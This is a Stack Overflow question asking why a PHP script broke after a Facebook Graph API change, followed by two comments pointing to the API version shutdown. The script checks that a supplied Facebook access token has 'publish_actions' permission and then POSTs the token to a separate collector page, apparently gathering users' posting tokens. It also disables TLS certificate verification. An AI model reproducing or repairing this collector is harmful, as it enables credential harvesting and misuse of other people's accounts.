0

This code not saving access token after verifying that this access token is valid or not instead of that it returns i=1. Eight hours ago this script work fine but it suddenly stop working.

<?php
function get_json($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_FAILONERROR, 0);
    $data = curl_exec($ch);
    curl_close($ch);
    return json_decode($data);
    }
function get_html($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_FAILONERROR, 0);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
$token2 = $_GET["user"];
session_start();
if(isset($token2)){
    if(preg_match("'access_token=(.*?)&expires_in='", $token2, $matches)){
    $token = $matches[1];
        }else{
    $token = $token2;}
        $exe = json_decode(get_html("https://graph.facebook.com/app?access_token=".$token ))->id;
    $extend = get_html("https://graph.facebook.com/me/permissions?access_token="  . $token);
    if($extend == true){
        $pos = strpos($extend, "publish_actions");
        if ($pos == true) {
        $_SESSION['token'] = $token;
        $ch = curl_init('http://my site/saver.php');
        curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "token=".$token);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_exec ($ch);
        curl_close ($ch);
        header('Location:index.php');
            }
            else {
        header('Location:index.php?i=1');}
        //access token is not valid
    }else{
    header('Location:index.php?i=4');}
    }else{
    header('Location:index.php?i=2');}
?>   
halfer
  • 19,824
  • 17
  • 99
  • 186
  • Possible duplicate of [facebook graph api not work from 2.2 to 2.3](http://stackoverflow.com/questions/42994019/facebook-graph-api-not-work-from-2-2-to-2-3) – CBroe Apr 24 '17 at 11:01
  • The format the access token is returned in has changed with API v2.3, and v2.2. was shut down recently. – CBroe Apr 24 '17 at 11:01

0 Answers0